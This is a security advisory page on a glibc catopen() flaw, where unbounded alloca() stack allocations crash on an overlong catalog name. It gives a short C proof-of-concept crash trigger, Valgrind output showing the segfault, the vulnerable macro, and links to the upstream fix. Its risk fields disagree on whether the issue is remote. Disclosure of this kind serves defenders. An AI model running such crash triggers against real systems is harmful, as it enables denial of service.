glibc catopen() Multiple unbounded stack allocations

2016.01.22
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

glibc catopen() Multiple unbounded stack allocations URL: https://cxsecurity.com/issue/WLB-2016010149 --------------------------------------- PoC: #include <nl_types.h> #include <string.h> #include <stdlib.h> int main(){ char *buff; buff=malloc(11111111); memset(buff,'A',11111110); buff[11111110]='\0'; catopen(buff, NL_CAT_LOCALE); return 0; } --------------------------------------- ======================== ==25788== Memcheck, a memory error detector ==25788== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al. ==25788== Using Valgrind-3.10.0.SVN and LibVEX; rerun with -h for copyright info ==25788== Command: ./cato ==25788== ==25788== Warning: client switching stacks? SP change: 0xfff000330 --> 0xffe567648 ==25788== to suppress, use: --max-stackframe=11111656 or greater ==25788== Invalid write of size 8 ==25788== at 0x4E6CD5A: __open_catalog (open_catalog.c:102) ==25788== by 0x4E6C38E: catopen (catgets.c:71) ==25788== by 0x400616: main (in /home/kalibaba/cato) ==25788== Address 0xffe567648 is on thread 1's stack ==25788== ==25788== ==25788== Process terminating with default action of signal 11 (SIGSEGV) ==25788== Access not within mapped region at address 0xFFE567648 ==25788== at 0x4E6CD5A: __open_catalog (open_catalog.c:102) ==25788== If you believe this happened as a result of a stack ==25788== overflow in your program's main thread (unlikely but ==25788== possible), you can try to increase the size of the ==25788== main thread stack using the --main-stacksize= flag. ==25788== The main thread stack size used in this run was 8388608. ======================== open_catalog.c #define ENOUGH(n) if (__builtin_expect (bufact + (n) >= bufmax, 0)) { char *old_buf = buf; bufmax += 256 + (n); buf = (char *) alloca (bufmax); <=============== memcpy (buf, old_buf, bufact); } and others alloca() in catopen() --- Links --- https://sourceware.org/bugzilla/show_bug.cgi?id=17905 https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=7565d2a862683a3c26ffb1f32351b8c5ab9f7b31 https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=0f58539030e436449f79189b6edab17d7479796e https://www.securecoding.cert.org/confluence/display/seccode/MEM05-C.+Avoid+large+stack+allocations --- Credit --- Maksymilian Arciemowicz from CXSECURITY https://cxsecurity.com http://cifrex.org

References:

https://sourceware.org/bugzilla/show_bug.cgi?id=17905
https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=7565d2a862683a3c26ffb1f32351b8c5ab9f7b31
https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=0f58539030e436449f79189b6edab17d7479796e
https://www.securecoding.cert.org/confluence/display/seccode/MEM05-C.+Avoid+large+stack+allocations


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top